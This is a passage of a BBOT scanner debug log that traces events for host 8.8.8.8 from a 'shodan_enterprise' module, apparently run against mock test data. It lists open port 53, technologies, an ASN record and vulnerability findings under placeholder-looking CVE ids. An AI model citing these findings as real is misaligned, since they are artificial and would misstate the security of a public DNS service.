TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,217 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) +2026-03-02 09:06:10,217 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check +2026-03-02 09:06:10,218 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) +2026-03-02 09:06:10,218 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,218 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check +2026-03-02 09:06:10,218 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) +2026-03-02 09:06:10,219 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,219 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,219 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,219 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) +2026-03-02 09:06:10,220 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,220 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,220 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,221 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) +2026-03-02 09:06:10,221 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) because precheck succeeded +2026-03-02 09:06:10,221 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check +2026-03-02 09:06:10,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) +2026-03-02 09:06:10,222 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,222 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:06:10,223 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:06:10,223 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,223 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,223 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,224 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,224 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) +2026-03-02 09:06:10,224 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) because precheck succeeded +2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:06:10,225 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,226 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,226 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,226 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:06:10,226 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:06:10,227 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,227 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,227 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because precheck succeeded +2026-03-02 09:06:10,227 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,228 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,229 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:06:10,229 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,229 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,229 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,230 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,230 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded +2026-03-02 09:06:10,230 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:06:10,230 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:06:10,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:06:10,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:06:10,231 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,232 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:06:10,233 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) because precheck succeeded +2026-03-02 09:06:10,233 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,233 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,233 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:06:10,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:06:10,234 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:06:10,234 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,234 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:06:10,235 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:06:10,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,235 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because precheck succeeded +2026-03-02 09:06:10,236 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,236 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,236 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:06:10,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,237 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:06:10,237 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:06:10,238 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,238 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:06:10,238 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded +2026-03-02 09:06:10,238 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:06:10,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,240 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:06:10,241 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because precheck succeeded +2026-03-02 09:06:10,241 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:06:10,241 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:06:10,241 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because event was already emitted by its module +2026-03-02 09:06:10,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:06:10,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:06:10,242 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,243 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:06:10,243 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) because precheck succeeded +2026-03-02 09:06:10,243 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,244 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,244 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:06:10,244 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:06:10,244 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:06:10,245 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) +2026-03-02 09:06:10,245 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) because precheck succeeded +2026-03-02 09:06:10,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:06:10,245 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:06:10,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:06:10,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:06:10,246 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) because precheck succeeded +2026-03-02 09:06:10,308 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) from shodan_enterprise +2026-03-02 09:06:10,308 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check +2026-03-02 09:06:10,309 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) from shodan_enterprise +2026-03-02 09:06:10,309 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check +2026-03-02 09:06:10,310 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) from shodan_enterprise +2026-03-02 09:06:10,310 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,310 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) from shodan_enterprise +2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:06:10,311 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) from shodan_enterprise +2026-03-02 09:06:10,312 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'nameserver', 